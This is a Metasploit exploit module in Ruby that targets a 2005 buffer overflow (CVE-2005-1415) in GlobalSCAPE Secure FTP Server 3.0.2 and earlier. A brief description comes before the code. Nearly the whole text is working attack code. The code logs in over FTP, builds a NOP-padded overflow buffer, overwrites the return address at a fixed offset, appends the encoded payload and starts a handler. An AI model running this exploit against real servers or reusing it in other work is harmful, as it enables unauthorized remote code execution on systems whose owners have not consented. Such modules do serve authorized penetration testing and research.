This Metasploit module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server. All versions prior to 3.0.3 are affected by this flaw. A valid user account ( or anonymous access) is required for this exploit to work.
f92b038b30321d1e394a2a78f7f7a4672a2b84c28b02a128fdaf5a46600f586c
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'GlobalSCAPE Secure FTP Server Input Overflow',
'Description' => %q{
This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server.
All versions prior to 3.0.3 are affected by this flaw. A valid user account (
or anonymous access) is required for this exploit to work.
},
'Author' => [ 'Fairuzan Roslan <riaf [at] mysec.org>', 'Mati Aharoni <mati [at] see-security.com>' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2005-1415'],
[ 'OSVDB', '16049'],
[ 'BID', '13454'],
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x20\x61\x62\x63\x64\x65\x66\x67\x68\x69" +
"\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74" +
"\x75\x76\x77\x78\x79\x7a",
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
},
'Targets' =>
[
[
'GlobalSCAPE Secure FTP Server <= 3.0.2 Universal',
{
'Platform' => 'win',
'Ret' => 0x1002f01f,
},
],
],
'DisclosureDate' => 'May 1 2005',
'DefaultTarget' => 0))
end
def exploit
connect_login
buf = make_nops(3047)
buf[2043, 4] = [ target.ret ].pack('V')
buf[2047, payload.encoded.length] = payload.encoded
send_cmd( [buf] )
handler
disconnect
end
end